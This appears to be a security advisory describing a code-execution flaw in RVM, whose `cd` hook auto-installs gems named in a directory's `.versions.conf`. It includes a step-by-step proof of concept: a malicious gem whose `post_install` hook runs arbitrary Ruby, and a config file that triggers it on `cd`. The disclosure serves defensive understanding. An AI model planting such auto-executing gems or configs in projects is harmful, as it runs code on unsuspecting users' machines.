RVM, by default, hooks `cd` and automatically parses a file named
`.versions.conf` in the directory being changed to. This file can provide the
names of arbitrary gems, via `ruby-gem-install` entries, which will be
automatically passed to `gem install` upon `cd` into the directory. The code
responsible, as of a vulnerable commit, is available at
<https://github.com/rvm/rvm/blob/b04c0158d/scripts/functions/rvmrc_project#L100>.
This behaviour can be used to achieve immediate installation of an arbitrary
Ruby gem. This can be used to gain immediate Ruby code execution if that gem
defines a `post_install` hook. Furthermore, the gem can be located in `$PWD`,
making this a fully self-contained attack.
Thanks to <http://stackoverflow.com/a/33739910> for detailing the
`post_install` hook trick.
It is critical that `.versions.conf` specifies a version of Ruby that satisfies
RVM and will allow the user to successfully install gems. This may be a version
of Ruby that the user has installed via RVM, or it may be the magic value
`"system"` to specify that the base system's Ruby should be used (Note that
Ruby must be installed on the base system). If the magic value `"system"` is
used, then the user must be privileged so that the installation of the gem to
the system gem location can succeed. Hence, exploitation of an unprivileged
user is generally only possible when the user has installed a Ruby via RVM and
the exact version is known.
### POC
Install a known version of ruby via RVM:
```text
rvm@e6aeaf6d79ec:~$ rvm install 2.3.0
[... SNIP ...]
```
Prepare a malicious gem that will trigger execution of Ruby code upon
installation:
```text
rvm@e6aeaf6d79ec:~$ mkdir -p poc-gem/lib/
rvm@e6aeaf6d79ec:~$ cat > poc-gem/poc-gem.gemspec
Gem::Specification.new do |s|
s.name = '.poc-gem'
s.version = '1.33.7'
s.summary = 'poc'
s.authors = ['A. Hacker']
s.files = ['lib/rubygems_plugin.rb']
end
^D
rvm@e6aeaf6d79ec:~$ cat > poc-gem/lib/rubygems_plugin.rb
Gem.post_install do
File.open('/tmp/poc_output', 'w') {|f| f.write("Arbitrary ruby code execution as #{`id`}")}
end
^D
rvm@e6aeaf6d79ec:~$ cd poc-gem/
rvm@e6aeaf6d79ec:~/poc-gem$ gem build poc-gem.gemspec
WARNING: licenses is empty, but is recommended. Use a license identifier from
http://spdx.org/licenses or 'Nonstandard' for a nonstandard license.
WARNING: no email specified
WARNING: no homepage specified
WARNING: See http://guides.rubygems.org/specification-reference/ for help
Successfully built RubyGem
Name: .poc-gem
Version: 1.33.7
File: .poc-gem-1.33.7.gem
```
Prepare a directory that will trigger installation of the malicious gem upon
`cd`:
```text
rvm@e6aeaf6d79ec:~/poc-gem$ cd ..
rvm@e6aeaf6d79ec:~$ mkdir poc
rvm@e6aeaf6d79ec:~$ cp poc-gem/.poc-gem-1.33.7.gem poc/
rvm@e6aeaf6d79ec:~$ cat > poc/.versions.conf
ruby=ruby-2.3.0
ruby-gem-install=.poc-gem-1.33.7.gem
^D
```
Trigger the POC:
```text
rvm@e6aeaf6d79ec:~$ cat /tmp/poc_output
cat: /tmp/poc_output: No such file or directory
rvm@e6aeaf6d79ec:~$ cd poc
installing gem .poc-gem-1.33.7.gem --no-ri --no-rdoc.
rvm@e6aeaf6d79ec:~/poc$ cat /tmp/poc_output
Arbitrary ruby code execution as uid=1000(rvm) gid=1000(rvm) groups=1000(rvm)
```
暂无评论